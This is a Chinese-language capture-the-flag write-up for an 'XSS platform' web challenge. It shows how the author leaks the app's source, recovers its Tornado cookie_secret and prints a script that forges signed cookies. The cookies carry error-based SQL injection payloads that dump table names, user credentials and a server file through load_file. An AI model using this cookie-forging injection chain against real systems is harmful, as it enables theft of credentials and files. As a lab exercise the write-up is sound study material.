点开是个普普通通的登录窗口,没有注册,只有登录,抓住包也没获取什么有用的信息,看了看dalao的wp才知道怎么做,首先抓包然后修改参数的定义来让其报错,pass原本的应该为整数,pass[]=就可以让其定义成数组变量,造成报错
爆出一条文件路径
直接访问试试
什么鬼。。。。看来没什么东西
找到关键字rtiny
上github搜一下
联想题目是xss平台,可能有关,点进去看看
有许许多多的py文件
一一查看就会发现在lock.py中就会有sql注入的点
不过其username是经过函数self.get_secure_cookie的,这里又是组合的一套代码,所以我们直接去找找看其他文件,看有没有定义self.get_secure_cookie函数的
最终在index.py中找到cookie加密钥匙
根据这个密钥写出我们的cookie_secret加密函数
# coding:utf-8 import tornado.ioloop import tornado.web # @author: V0W # @reference: https://blog.csdn.net/include_heqile/article/details/82591707 settings = { "cookie_secret" : "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=", } class MainHandler(tornado.web.RequestHandler): def get(self): self.write("Hello") #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select version()))) -- ") #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema=database())))-- ") #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- ") #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ") #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#") self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),28,60)))#") self.write(self.get_secure_cookie("username")) def make_app(): return tornado.web.Application([ (r"/index", MainHandler), ], **settings) if __name__ == "__main__": app = make_app() app.listen(8089) tornado.ioloop.IOLoop.instance().start()
(这个py程序需要安装py的tornado.ioloop,安装指令python -m pip install tornado)然后运行此py程序后不会有回显,需要保持py运行然后去访问本地网页127.0.0.1:8089/index(监听的哪个端口就跟哪个端口就行了,这里是8089)
再查看网页cookie中的username值就是cookie_secret加密过后的值。
将其通过bp进行注入即可得到username和password,再登录xss平台得到提示flag在f13g_ls_here.txt(期间注释的5句就是依次的爆版本,爆表名,爆列名,爆用户名和密码,爆文件内容)再爆文件就是flag了,由于这里做了长度限制,所以flag需要分两步爆出来